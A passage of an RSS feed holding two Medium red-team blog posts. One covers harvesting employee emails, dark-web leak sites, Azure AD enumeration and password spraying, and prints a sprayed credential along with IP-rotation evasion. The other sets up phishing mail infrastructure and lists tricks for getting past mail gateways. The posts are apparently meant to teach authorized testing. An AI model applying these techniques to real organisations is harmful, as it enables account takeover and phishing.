            <content:encoded><![CDATA[<h3>Mastering Modern Red Teaming Infrastructure Part 4: <strong>Advanced OSINT Techniques, Credential Harvesting, and Azure AD Password Spraying Tactics</strong></h3><blockquote>In this part of the series, we focus on <strong>Open-Source Intelligence (OSINT) techniques</strong> to collect victim emails, validate identities, and perform <strong>external password spraying</strong>. The goal is to leverage <strong>public sources, Darkweb leaks, and enumeration techniques</strong> to build a target list and assess exposed credentials. The test will be on <strong>sud0root.com</strong> and megabigtech.com domains while maintaining OPSEC.</blockquote><blockquote>After collect the email we will <strong>perform password spraying against</strong>:<br>✅ <strong>Microsoft Azure Entra ID (formerly Azure AD).</strong><br>✅ <strong>Other external Identity Providers (IdPs)</strong> such as <strong>ADFS, Okta, and PingFederate.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zRwoQdmrkdh_h7Vgx_Ee2A.png" /></figure><h3>Table of Contents</h3><ol><li>Automated Tools: theHarvester &amp; Intelligence Gathering Sources</li><li>LinkedIn: Mining Employee Data for Phishing &amp; Password Spraying</li><li>Corporate Contact Sites</li><li>Dark Web &amp; Credential Leaks: Past Breaches as an Attack Vector</li><li>Validating Emails: Microsoft Teams &amp; Azure AD (Microsoft Entra ID) &amp; Hunter.io</li><li>Final Step: External Password Spraying on Microsoft Entra ID &amp; Other IdPs</li></ol><h3><strong>1. Automated Tools: theHarvester &amp; Intelligence Gathering Sources</strong></h3><p><strong>1.1</strong> To start gathering emails we will start by using<strong> theHarvester on megabigtech.com:</strong></p><pre>theHarvester -d megabigtech.com -l 300 -b all</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*V3Q00LTMeoGhMDBf11hTUg.png" /><figcaption>Collect Emails Using theHarvester</figcaption></figure><p><strong>1.2 Hunter.io &amp; Snov.io — </strong>web-based services to find corporate emails and verify validity</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R8AYPgIGwHjoLeZkV5nvZQ.png" /><figcaption>Collect Emails using Hunter.io</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NGolmVSdokZXbrblq60mgA.png" /><figcaption>Collect Emails Using Snov.io</figcaption></figure><h3><strong>2. LinkedIn: Mining Employee Data for Phishing &amp; Password Spraying</strong></h3><p><strong>LinkedIn </strong>is a goldmine for gathering corporate employee details. The OPSEC strategy involves:<strong><br> </strong>🔹 Using a VPN and a fake LinkedIn profile to avoid detection.<br> 🔹 Searching for employees of the target organization.<br> 🔹 Extracting names, titles, departments, and locations to create email file formats<strong>.</strong></p><p><strong>2.1 Manual </strong>Search on LinkedIn by target organization name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z6thHUztdVzu-0hpFdz-cA.png" /><figcaption>Collect Target Employees to Create Emails File Using LinkedIn</figcaption></figure><p>Based on OSINT findings, we can generate email permutations file:</p><pre>&lt;lastname&gt;&lt;first_initial&gt;&lt;second_initial&gt;@domain.com  <br>&lt;first_name&gt;.&lt;last_name&gt;@domain.com  <br>&lt;first_name&gt;@domain.com</pre><p>Example:<strong><br> </strong>If we find an employee named Faris Faisall, possible email formats include:</p><pre>faris.faisall@sud0root.com<br>f.faisall@sud0root.com<br>faris@sud0root.com</pre><p><strong>2.2 Automated</strong></p><p>Tools like <strong>BridgeKeeper</strong> can scrape employee names from <strong>LinkedIn </strong>profiles and <strong>other sources </strong>to <strong>convert them</strong> into potential usernames and can <strong>Convert an already generated list</strong> of names to username</p><p><strong>Gather employee names</strong> for a company, Example Ltd., <strong>and convert </strong>each name into an ‘<strong>flast</strong>’ username formatted email:</p><pre>bridgekeeper.py --company &quot;Example, Ltd.&quot; --format {f}{last}@example.com --depth 10 --output example-employees</pre><p><strong>Gather employee</strong> names and email addresses <strong>from search engines and Hunter.io</strong>:</p><pre>bridgekeeper.py --company &quot;Example, Ltd.&quot; --domain example.com --api {API_KEY} --depth 10 --output example-employees</pre><p><strong>Convert an already generated list</strong> of names to usernames:</p><pre>bridgekeeper.py --names names.txt --format {@example.com&quot;&gt;f}{last}@example.com --output example-employees</pre><h3><strong>3. Corporate Contact Sites</strong></h3><p>Many companies have <strong>public contact directories</strong> listing employee names, emails, and roles. These can be found on:<br> 🔹 <strong>Company “About Us” pages</strong><br> 🔹 <strong>Press releases &amp; blogs</strong><br> 🔹 <strong>Job postings</strong> (which may list internal email formats)</p><p>For example hunter site identified <a href="/service/mailto:info@sud0root.com">info@sud0root.com</a> from corporate contact sites</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DsJyQ0wzWH2fcnBH9DqbnQ.png" /><figcaption>Collect Emails Using Corporate Contact Sites</figcaption></figure><h3>4. <strong>Dark Web &amp; Credential Leaks: Past Breaches as an Attack Vector</strong></h3><p>Compromised emails and passwords from <strong>past breaches</strong> often reveal <strong>corporate credentials</strong>.</p><p><strong>4.1 First check if emails were leaked in past breaches</strong> using below Useful sources:<br> ✅ <a href="https://haveibeenpwned.com/"><strong>https://haveibeenpwned.com/</strong></a><strong> </strong>and <a href="https://intelx.io/">https://intelx.io</a> and <a href="https://leakcheck.io/">https://leakcheck.io/</a> sites</p><p>These sources will tell me if the email has been breached or not and where it breach. If breached, I will search the breaded data on the Pastebin or dark web by breach name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*227fWcTdtGprYp8jO5h5lQ.png" /><figcaption>Example of Email Has Been Breached and Where Breach Happen</figcaption></figure><p><strong>4.2 Pastebin &amp; Telegram</strong> — often used to dump credentials.</p><p>In recent times, platforms like Pastebin and Telegram have become repositories for leaking data from various breaches. For instance, the email address found previously during OSINT marcus@megabigtech.com, associated with megabigtech.com demo lab, was found in a breach disclosed on Pastebin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*Rm-8kirAGN302uYygKc2oQ.png" /></figure><p><strong>4.3 Dark Web forums</strong> — marketplaces for compromised credentials.</p><p><strong>Caution:</strong> When accessing dark web platforms, ensure you do so responsibly and in strict adherence to all applicable laws and regulations. Unauthorized activities or misuse can result in severe legal consequences, so always align your actions with established legal and ethical standards.</p><p>First open VPN then start tor service then open torbrowser-launcher</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*1PnjCxA0TXcM8K2sa88bJw.png" /><figcaption>Start Tor Server To Access DarkWeb</figcaption></figure><p>Due to the frequent takedowns of hidden services and .onion sites by authorities I’m using the below site to search for new onion sites and leaked data and compromised credentials during red teaming.</p><p><a href="http://tor66sewebgixwhcqfnp5inzp5x5uohhdy3kvtnyfxc2e5mxiuh34iid.onion/search?q=leak+data">http://tor66sewebgixwhcqfnp5inzp5x5uohhdy3kvtnyfxc2e5mxiuh34iid.onion/search?q=leak+data</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K6_lxM4kI4PB21i1gxR8gA.png" /><figcaption>Find New Hidden Services and Leaked Data</figcaption></figure><p>Some darkweb leaked credentials sites I’m using, and I found it useful</p><pre>http://darkleakyqmv62eweqwy4dnhaijg4m4dkburo73pzuqfdumcntqdokyd.onion/<br>http://7ukmkdtyxdkdivtjad57klqnd3kdsmq6tp45rrsxqnu76zzv3jvitlqd.onion/<br>http://hackeoyrzjy3ob4cdr2q56bgp7cpatruphcxvgbfsiw6zeqcc36e4ryd.onion/<br>http://ransomocmou6mnbquqz44ewosbkjk3o5qjsl3orawojexfook2j7esad.onion/<br>http://5odv4qjwkhpv3obbtqlgjsk3xfcr6llfvu6dfn6u4e5umhjd3flikgid.onion/<br>http://ux7z5awxtjr45bxtbuegyrwprndt5jigchlothsjparbj5jypz56wcid.onion/<br>http://craf75ymkprmhrb5j42n2oluyteejneibffuz6zgfr3mzw4obk2f3oyd.onion/<br>http://rnsm777cdsjrsdlbs4v5qoeppu3px6sb2igmh53jzrx7ipcrbjz5b2ad.onion/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4RDl_A2Lk3b6GItGOPjG6w.png" /><figcaption>Useful Sites for Leaked Credentials and Data</figcaption></figure><p>Additionally, there are advanced dark web monitoring services and tools available but need subscription. it can efficiently and automatically perform all of the tasks mentioned above.</p><p>💡 <strong>If we find an employee’s reused password from a past breach</strong>, we can do credentials stuffing attack or attempt authentication against:</p><ul><li><strong>Microsoft 365 (Entra ID)</strong></li><li><strong>Okta, PingFederate, or ADFS</strong></li><li><strong>VPN, OWA, or other externally exposed services</strong></li></ul><h3><strong>5.</strong> <strong>Validating Emails: Microsoft Teams &amp; Azure AD (Microsoft Entra ID) &amp; Hunter.io</strong></h3><p>To verify which emails are <strong>valid and active</strong>, we can:</p><p><strong>5.1 Use Hunter.io’s email verification API</strong>.</p><p>Click on verify email address</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1vbimBW7GyYGyVVphJVWmg.png" /><figcaption>Email Verification Using Hunter.io</figcaption></figure><p>Then it says it is verified and valid email address</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rfIZ8AbojbWtwTC9bLY0-g.png" /><figcaption>Verified Email</figcaption></figure><p><strong>5.2 Check Microsoft Teams “External Access”</strong> to see if an email exists.</p><p><strong>Microsoft Teams Validation: </strong>Open <strong>Microsoft Teams</strong> and try adding an external contact. If the email is <strong>valid</strong>, Teams will <strong>auto-complete the name</strong>. If not, Teams returns an <strong>error</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kq4klnGBaxkF7TQO9cZSpQ.png" /><figcaption>External search and access is open and email valid</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tXZjtoFdfcZ7LJBWYJODhA.png" /><figcaption>External email access is disabled (not vulnerable)</figcaption></figure><p>🚀 <strong>Key Insight</strong>: If Teams <strong>auto-completes</strong>, the email is valid and in use — making it a prime candidate for <strong>password spraying</strong> or <strong>phishing</strong>.</p><p><strong>5.3 Using AADInternals module </strong>to confirm if user exist on azure or not (so email is valid or not)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yf_mr55MWrL21iUdW7mCJQ.png" /><figcaption>Email Verification Using ADDInternals Module</figcaption></figure><h3><strong>Final Step: External Password Spraying on Microsoft Entra ID &amp; Other IdPs</strong></h3><p>Many organizations <strong>utilize Azure AD and Microsoft 365</strong> to leverage integrated tools like<strong> Teams and Office applications, </strong>which enhance collaboration and productivity.</p><p><strong>5.1 Confirm Target using Azure AD:</strong> To determine whether a client is using<strong> Azure Entra ID</strong> (formerly Azure Active Directory) or other Identity Providers (IdPs), we will use the <strong>AADInternals</strong> PowerShell module. This tool allows you to query the client’s domain to ascertain if it’s configured <strong>as ‘Managed’ or ‘Federated’.</strong> A ‘<strong>Managed’ </strong>domain indicates that <strong>Azure AD handles authentication directly</strong>, while a ‘<strong>Federated’ </strong>domain signifies that<strong> authentication is managed by an external IdP</strong>, such as Active Directory Federation Services (ADFS), Okta, or PingFederate.</p><p>Install <strong>AADInternals Module on PowerShell</strong></p><pre>Install-Module -Name AADInternals -Force -AllowClobber<br>Import-Module AADInternals<br>Get-Command -Module AADInternals</pre><p>The below <strong>sud0root</strong> and megabigtech.com using <strong>managed authentication</strong> which means they using Azure AD to handles authentication directly</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K904xradLLEmYT31UA32xg.png" /><figcaption>Enumerate Tenant Name and ID and Authentication Type</figcaption></figure><p>also we can use manual method to enumerate tenant and confirm target using Azure AD by visit this API:</p><p><a href="https://login.microsoftonline.com/getuserrealm.srf?login=sud0root.com">https://login.microsoftonline.com/getuserrealm.srf?login=sud0root.com</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CAuR8j9MJzDFcI-r-ZPWgA.png" /><figcaption>Manually Enumerate Tenant Name and ID and Authentication Type</figcaption></figure><p><strong>5.2 For ‘Managed’ domains “</strong>Likely indicates a <strong>native cloud</strong> setup.<strong>”:</strong> you can employ tools like <strong>Go365</strong> to perform <strong>password spraying</strong> attacks. Go365 is designed to conduct user enumeration and password guessing attacks on organizations utilizing Office 365.</p><p>Password spray on megabigtech.com. and it will detect if user valid or not also it will detect valid username and password.</p><p>Yuki.Tanaka@megabigtech.com and MegaDev79$ password is valid</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*vIqBXu24oCrAqIUxMIWO_g.png" /><figcaption>Password Spray and User Validation</figcaption></figure><p><strong>5.3 For ‘Federated’ domains (</strong>strong indicator of a <strong>hybrid setup):</strong> the approach will depend on the <strong>specific IdP</strong> in use. <strong>Each IdP may have unique endpoints and authentication </strong>mechanisms, necessitating tailored strategies for password spraying. It’s crucial to <strong>research and understand the specific IdP’s authentication</strong> flow to effectively conduct such assessments</p><p><strong>In a recent engagement,</strong> I encountered a client <strong>utilizing federated </strong>authentication for their Office 365 services. Instead of authenticating directly through Azure Entra ID (formerly Azure Active Directory), their authentication requests were redirected to a different endpoint, as specified in the Security Token Service (STS) configuration.</p><p>To assess the security of this setup, I employed <strong>Burp Suite’s Intruder</strong> tool to perform a password spraying attack. Also, By crafting a custom script to simulate standard web authentication requests, I was able to analyze the responses and identify valid credentials based on specific indicators in the server’s replies. So, you can use burp intruder or write custom script.</p><p>I removed the sts complete link from screenshot because this is sensitive information</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ux_rUgOljDzzwm8217D8g.png" /><figcaption>Target Using Federated for Authentication</figcaption></figure><p><strong>5.4 My OPSEC during password spray </strong>(Rotating Source IP using AWS API Gateway)</p><p>To enhance operational security (OPSEC) during password spraying assessments, one effective method I using involves utilizing <strong>AWS API Gateway</strong> to obscure the origin of the traffic. By setting up an API Gateway in AWS to route authentication requests to the target service, such as Microsoft’s authentication API, each request appears to originate from a dynamic IP address within AWS’s IP range. This approach not only conceals the true source of the password spraying activity but also diminishes the likelihood of detection by the target’s security mechanisms, as the traffic blends in with legitimate AWS-originated requests.</p><blockquote><strong>Next:</strong> Stay sharp — we’re moving from OSINT, credential harvesting, and password spray to <strong>Payload Development and Hardening to Evade Detection (no chain no gain)</strong> in Part 5.</blockquote><p>if you find this blog useful, don’t forget to hit the clap button and follow the blog.</p><p><strong>Certifications: </strong><br>OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others</p><p><strong>Follow me on</strong> <a href="https://www.linkedin.com/in/frsfaisall/">LinkedIn</a> &amp; <a href="https://x.com/farisfaisall1">Twitter(</a>X) to stay updated and to know new things.</p><p>Bye Bye, Take Care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d2a80851a913" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-4-advanced-osint-techniques-credential-d2a80851a913">Mastering Modern Red Teaming Infrastructure Part 4: Advanced OSINT Techniques, Credential…</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️ Mastering Modern Red Teaming Infrastructure Part 3 — Securing Mail Services with DNS Records…]]></title>
            <link>https://medium.com/sud0root/%EF%B8%8F-mastering-modern-red-teaming-infrastructure-part-3-securing-mail-services-with-dns-records-5f3da4399845?source=rss----63c987f53008---4</link>
            <guid isPermaLink="false">https://medium.com/p/5f3da4399845</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[emails-security]]></category>
            <category><![CDATA[redteam-tool]]></category>
            <category><![CDATA[opsec]]></category>
            <dc:creator><![CDATA[Faris Faisal 0xFF]]></dc:creator>
            <pubDate>Sat, 11 Jan 2025 11:01:18 GMT</pubDate>
            <atom:updated>2025-02-10T18:42:21.793Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>🛡️ Mastering Modern Red Teaming Infrastructure Part 3 — Securing Mail Services with DNS Records and OPSEC for Bypassing Mail Security Gateways</strong></h3><blockquote>In this installment of the “🔒 Mastering Modern Red Teaming Infrastructure” series, we explore setting up and <strong>securing mail services</strong> for our domain <strong>online-notifications.net domain</strong> using DNS records such as SPF, DKIM, and DMARC, while implementing <strong>robust operational security (OPSEC)</strong> measures to bypass mail security gateways effectively. This guide walks through linking <strong>Zoho </strong>Mail with online-notifications.net domain that hosted on <strong>Cloudflare </strong>and creating a mail user account to operate stealthy phishing campaigns or other red team activities.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Hcrgf--jolHjeXRLIp9RA.png" /></figure><h3>Table of Contents</h3><ol><li>🔎 Why Secure Mail Services Matter for Red Team Operations</li><li>Step 1: Setting Up Zoho Mail for online-notifications.net domain</li><li>Step 2: Adding MX, SPF, DKIM, and DMARC Records on Cloudflare</li><li>Step 3: Implementing OPSEC Measures to Bypassing Mail Security Gateways</li><li>Final Thoughts</li></ol><h3>🔎Why Secure Mail Services Matter for Red Team Operations</h3><p>Email remains one of the most effective vectors for <strong>social engineering, credential harvesting, and phishing</strong>. To ensure the success of such campaigns, it’s critical to:</p><ul><li>Establish <strong>credibility </strong>by sending emails from a verified domain.</li><li><strong>Avoid detection</strong> by email security systems (e.g., spam filters, DMARC validation).</li><li><strong>Maintain OPSEC</strong> by securing the infrastructure to avoid attribution.</li></ul><p>By correctly implementing SPF, DKIM, and DMARC records and adding OPSEC, you can significantly ⬆ increase the deliverability of your emails while ⬇ minimizing the risk of exposure.</p><h3>⚙️Step 1: Setting Up Zoho Mail for online-notifications.net domain</h3><ol><li><strong>Create a Zoho Account</strong></li></ol><p>Open <a href="https://www.zoho.com/mail/">Zoho Mail</a> and Register for an account using personal email.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/253/1*TEsObsZyOesOb8ejCUk_zg.png" /></figure><p>Select a plan (Zoho was offering a free plan but now they changed their policy, so I will select 15 days free trial). (note: you can use other mail services. for example <a href="https://www.name.com/">https://www.name.com</a> provide free mail service)</p><p>Select a plan (Zoho was offering a free plan but now they changed their policy, so I will select 15 days free trial). (note <a href="https://www.name.com/">https://www.name.com</a> provide free mail service)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/253/1*vaw1njcfzk-3Y1p-8A2crw.png" /></figure><p><strong>2. Link online-notifications.net Domain with Zoho</strong></p><p>Add onlin-notificaions.net domain and proceed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/354/1*ADebLoZixm3IPdMkGIol2A.png" /></figure><p>Domain added and I will procced to domain verification</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*DOLSpuMSrjDmOt8u3EFcFA.png" /></figure><p>Zoho has recognized that my domain is managed by Cloudflare and has provided the following TXT record and value to verify domain ownership.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*5nLYtYF8o_t-q4V9tqtx-g.png" /></figure><p>Therefore, I will add this TXT record to the Cloudflare DNS setting and save it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*sl5YMAIDyA3Ib-f5UtdI6Q.png" /><figcaption>Click Add Record</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*0SmPiapZq76zcfzlZlcwbQ.png" /><figcaption><strong>Type</strong>:TXT. <strong>Name</strong>:@.<strong> Value</strong>: The unique verification string provided by Zoho.</figcaption></figure><p>Return to Zoho and click verify TXT record after adding it in cloud flare</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*tNh4_Qj3zZ0ZVFLvSNUH-g.png" /></figure><p><strong>3. Create a Mail User Account</strong></p><p>Once the domain is verified and linked, I will create an admin user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/338/1*MP63tAPyuJGM8igUkjEk3w.png" /></figure><p>After user created in next page it will ask if I need more email users, I will click proceed to setup groups</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nMa72WyQf2E4HIVCfYLVRw.png" /></figure><p>In group settings I will click on proceed to DNS mapping</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C67AIs5xuepI3aipASrghQ.png" /></figure><h3>🔧 Step 2: Adding MX, SPF, DKIM, and DMARC Records on Cloudflare</h3><ol><li><strong>Adding MX, SPF and DKIM records</strong></li></ol><ul><li>SPF (Sender Policy Framework) helps mail servers verify that our domain is authorized to send emails.</li><li>DKIM (DomainKeys Identified Mail) adds a digital signature to our emails, improving authenticity.</li></ul><p>After creating the <strong>admin user</strong>, I will proceed by adding the following records to the <strong>Cloudflare DNS settings</strong>, like the previous steps. This time, I will add <strong>MX </strong>and <strong>TXT </strong>records with their respective hosts, values and priority.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AvxIvl9hKnCnAbItfG1cIQ.png" /></figure><p>Then add them into the Cloudflare DNS as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*006I75ltesintjzIGWLYcA.png" /><figcaption>MX to mention Zoho mail server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pE3Tz6oWPoIDAF69kxyt-Q.png" /><figcaption>SPF and DKIM</figcaption></figure><p>Then click verify all records on Zoho</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*29tlzaievWEjxBAJuFuhbQ.png" /></figure><p>After click verify you will get the below verification (sometimes you need to wait some minutes until DNS update the settings)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*EsiG8cS3e33ntBFzfQq58w.png" /></figure><p>Click on “Proceed to Email Migration,” then “Proceed to Go Mobile,” and finally “Proceed to Setup Completion.” Be sure to save the SMTP values provided, as we will need them later when configuring mail in GoPhish.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*QSw-IJcBlv7L-TEZssSe0A.png" /></figure><p>After that, the admin@online-notifications.net user will be created using the same password I used during the Zoho registration process.</p><p><strong>2. Adding a DMARC Record</strong></p><ul><li>DMARC (Domain-based Message Authentication, Reporting, and Conformance) specifies how receiving mail servers should handle SPF/DKIM failures. be sure you have a DKIM and SPF set before using DMARC.</li></ul><p>Add a TXT record to your domain: <strong>type:</strong> TXT and <strong>Name:</strong> _dmarc and <strong>Value:</strong> v=DMARC1; p=none</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*COdfZbGF8_jK2SDu3vzjBg.png" /></figure><ul><li>We selected DMARC <strong>version 1 with a “none”</strong> policy, ensuring no action is taken and email delivery remains unaffected.</li></ul><p><strong>DMARK policy option</strong></p><ul><li><strong>none</strong>: Monitor mode. No action is taken on emails that fail DMARC checks. This is typically used when setting up DMARC to monitor email traffic and gather reports without affecting delivery.</li><li><strong>quarantine</strong>: Suggests that emails failing DMARC checks should be marked as suspicious and moved to the spam/junk folder.</li><li><strong>reject</strong>: Instructs email receivers to reject emails that fail DMARC checks (they won’t be delivered).</li></ul><h3><strong>🔒 Step 3: Implementing OPSEC Measures to Bypassing Mail Security Gateways</strong></h3><ol><li><strong>Test email security configuration score by mail-tester service</strong></li></ol><p>We will Mail-Tester service and it not only identifies issues but also provides actionable suggestions to improve your email deliverability and avoid spam filters.</p><p><a href="https://www.mail-tester.com/">Mail-Tester.com</a> evaluates your email’s deliverability by checking:</p><ul><li><strong>Email Authentication:</strong> Verifies SPF, DKIM, and DMARC records to ensure proper authentication.</li><li><strong>Spam Content:</strong> Analyzes for spammy language or formatting.</li><li><strong>Blacklist Status:</strong> Checks if your domain or IP is on spam blacklists.</li><li><strong>HTML/Text Balance:</strong> Ensures a proper ratio of HTML to plain text.</li><li><strong>Broken Links/Images:</strong> Verifies all links and images are functional.</li><li><strong>Embedded Images:</strong> Confirms images are properly hosted.</li><li><strong>Server Configuration:</strong> Checks reverse DNS, HELO, and email headers.</li><li><strong>IP Reputation:</strong> Assesses the reputation of your sending IP.</li><li><strong>HTML Quality:</strong> Ensures your email HTML code is clean and well-structured.</li><li><strong>Email Size:</strong> Verifies the email isn’t excessively large.</li><li><strong>DNS Records:</strong> Ensures your domain has correctly configured DNS records.</li></ul><p>Visit <a href="https://www.mail-tester.com/">https://www.mail-tester.com/</a>. The site will provide an email address to send a test message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zm7sdtAYrGf8uHiMIe0r2g.png" /></figure><p>Send an email from your mail account. For this example, I will send an empty message from admin@online-notifications.net. To do this, I will use Zoho Mail through the dashboard or directly access it via <a href="https://mail.zoho.sa/zm/">https://mail.zoho.sa/zm/</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*AsnpxnN13BOQS2luKocCTw.png" /></figure><p>After sending the email, return to the Mail Tester site and click <strong>“Check your score”</strong>.</p><p><strong>Below is the result of the check:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*auTHnkS5MMpFl41geK0Hiw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*DB6YjQopkAWHWvlJWwyVnA.png" /></figure><p><strong>2. Enhancing Email Credibility through Signature Collection Techniques</strong></p><p>To increase the credibility of the email, it’s recommended to <strong>use </strong>some <strong>signature </strong>from an email from the <strong>client</strong>. some method to get the signature below:</p><ul><li><strong>Send an email </strong>to a <strong>non-existent address</strong> and check if the response has any signature.</li><li><strong>Search for public emails</strong> like <a href="/service/mailto:info@ex.com">info@ex.com</a> or <a href="/service/mailto:press@ex.com">press@ex.com</a> or <a href="/service/mailto:public@ex.com">public@ex.com</a> and <strong>send them</strong> an email and wait for the response.</li><li><strong>Try to contact</strong> some valid discovered email and wait for the response</li></ul><p><strong>3. Other OPSEC to bypass Mail Security Gateways</strong></p><ul><li>Check your email configuration by <strong>sending an email</strong> to check-<strong>auth@verifier.port25.com</strong> and reading the response</li><li>You could also <strong>send message to a Gmail</strong> under your control, and check the <strong>email’s headers</strong> in your Gmail inbox, dkim=pass</li><li><strong>If spammed then Removing</strong> from <strong>Spamhouse Blacklist</strong> <a href="https://book.hacktricks.xyz/generic-methodologies-and-resources/www.mail-tester.com">https://book.hacktricks.xyz/generic-methodologies-and-resources/www.mail-tester.com</a> and from <strong>Microsoft Blacklist</strong> <a href="https://sender.office.com/">https://sender.office.com/</a></li><li>Check domain also here: <a href="https://malwareworld.com/">https://malwareworld.com/</a></li><li>Warm up the domain by <strong>sending benign emails</strong> to multiple trusted recipients over time and if landed in spam <strong>mark it as not spam.</strong></li><li><strong>Tailored Content</strong>: Avoid suspicious keywords in the email subject and body and if possible, personalize emails to the target (e.g., include the target’s name or role).</li><li><strong>Attachment Techniques; Use password-protected ZIP files with the password included in the email OR </strong>Use less common file extensions that evade detection (e.g., .iqy, .iso). (in next parts will show you delivery through zip and ISO and bypass MOTW)</li><li><strong>Domain Reputation: </strong>Regularly rotate domains and user accounts to avoid detection.</li><li><strong>Payload Delivery: </strong>Host malicious payloads on trusted services (e.g., Google Drive, Dropbox) to avoid suspicion.</li></ul><h3><strong>Final thoughts</strong></h3><p>Linking our domain’s mail services with Zoho Mail and securing it with SPF, DKIM, and DMARC not only improves deliverability but also ensures a high degree of stealth in red team engagements. Coupled with strong OPSEC practices, this setup enables us to bypass mail security gateways effectively, giving an edge in executing phishing campaigns and other social engineering attacks.</p><p>Part 4: <a href="https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-4-advanced-osint-techniques-credential-d2a80851a913">Advanced OSINT Techniques, Credential Harvesting, and Azure AD Password Spraying Tactics</a></p><p>if you find this blog useful, don’t forget to hit the clap button and follow the blog.</p><p><strong>Certifications: </strong><br>OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others</p><p><strong>Follow me on</strong> <a href="https://www.linkedin.com/in/frsfaisall/">LinkedIn</a> &amp; <a href="https://x.com/farisfaisall1">Twitter(</a>X) to stay updated and to know new things.</p><p>Bye Bye, Take Care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f3da4399845" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/%EF%B8%8F-mastering-modern-red-teaming-infrastructure-part-3-securing-mail-services-with-dns-records-5f3da4399845">🛡️ Mastering Modern Red Teaming Infrastructure Part 3 — Securing Mail Services with DNS Records…</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SecureCode1: an OSWE-like Machine]]></title>
            <link>https://medium.com/sud0root/securecode1-an-oswe-like-machine-69ec7d6c1986?source=rss----63c987f53008---4</link>
            <guid isPermaLink="false">https://medium.com/p/69ec7d6c1986</guid>
            <category><![CDATA[awae]]></category>
            <category><![CDATA[oswe]]></category>
            <category><![CDATA[web-expert]]></category>
            <dc:creator><![CDATA[Ahmed ElTijani]]></dc:creator>
            <pubDate>Fri, 12 Feb 2021 01:26:52 GMT</pubDate>
            <atom:updated>2021-06-15T13:45:51.803Z</atom:updated>
